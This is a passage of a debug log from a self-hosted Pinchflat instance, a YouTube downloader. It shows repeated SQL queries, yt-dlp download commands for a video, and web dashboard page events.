m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:28:59.457 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:59.457 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:59.457 [debug] Running yt-dlp command for action: get_downloadable_status 21:28:59.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:59.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:59.458 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:59.458 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/d1/51d1e9363f993c9a313eed24d71b2d5be9d3bad09463e4985420423247d70893.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:29:00.603 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:01.889 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/d1/51d1e9363f993c9a313eed24d71b2d5be9d3bad09463e4985420423247d70893.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:29:01.889 [debug] Running yt-dlp command for action: download 21:29:01.889 [debug] QUERY OK source="settings" db=0.1ms idle=1286.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:01.890 [debug] QUERY OK source="settings" db=0.0ms idle=832.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:01.890 [debug] QUERY OK source="settings" db=0.0ms idle=832.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:01.890 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rs9A20wRUxI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6f/17/6f17203adaa06bdec6302621d9f2ce03cfa28aef740ec147108d5ecf18c2f9e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:29:28.704 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:53.224 [info] GET / 21:29:53.224 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:29:53.225 [debug] QUERY OK source="settings" db=0.1ms idle=1167.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:53.225 [debug] QUERY OK source="media_profiles" db=0.1ms idle=785.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:29:53.225 [debug] QUERY OK source="sources" db=0.0ms idle=168.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:29:53.225 [debug] QUERY OK source="media_items" db=0.1ms idle=168.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:53.225 [debug] QUERY OK source="media_items" db=0.0ms idle=168.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:53.226 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:53.226 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:53.226 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:29:53.227 [debug] QUERY OK source="tasks" db=0.1ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:29:53.227 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [34, 35] 21:29:53.228 [debug] QUERY OK source="media_items" db=0.0ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:53.228 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:29:53.229 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:53.230 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:29:53.231 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:29:53.231 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:53.232 [info] Sent 200 in 7ms 21:29:53.288 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "JmlPa0JDPCUGWBU_DRc7eHgWewc4FRBJgYwFuwmk6lcJKvS3UQ0Lt-Qq", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:29:53.294 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded"} 21:29:53.294 [debug] QUERY OK source="media_items" db=0.1ms idle=65.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:53.295 [debug] QUERY OK source="media_items" db=0.3ms idle=65.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:29:53.295 [debug] QUERY OK source="sources" db=0.1ms idle=64.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:53.295 [debug] Replied in 1ms 21:29:53.297 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending"} 21:29:53.297 [debug] QUERY OK source="media_items" db=0.2ms idle=66.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:29:53.298 [debug] QUERY OK source="media_items" db=0.4ms idle=66.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:29:53.298 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:53.298 [debug] Replied in 1ms 21:29:53.299 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:29:53.300 [debug] QUERY OK source="tasks" db=0.2ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:29:53.300 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [34, 35] 21:29:53.300 [debug] Replied in 884µs 21:29:53.301 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:29:53.301 [debug] Replied in 56µs 21:29:58.207 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:29:58.208 [debug] QUERY OK source="media_items" db=0.1ms idle=1150.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:58.208 [debug] QUERY OK source="media_items" db=0.3ms idle=1150.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:29:58.208 [debug] QUERY OK source="sources" db=0.1ms idle=1151.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:58.209 [debug] Replied in 1ms 21:29:58.706 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:59.880 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:29:59.881 [debug] QUERY OK source="media_items" db=0.3ms idle=1672.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:29:59.882 [debug] QUERY OK source="media_items" db=0.7ms idle=1672.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:29:59.882 [debug] QUERY OK source="sources" db=0.2ms idle=1432.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:29:59.883 [debug] Replied in 2ms 21:30:00.604 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:01.087 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:01.088 [debug] QUERY OK source="media_items" db=0.1ms idle=1030.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:30:01.088 [debug] QUERY OK source="media_items" db=0.1ms idle=634.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 21:30:01.088 [debug] QUERY OK source="sources" db=0.1ms idle=483.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:30:01.088 [debug] Replied in 882µs 21:30:02.057 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:30:02.058 [debug] QUERY OK source="media_items" db=0.4ms idle=1000.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON 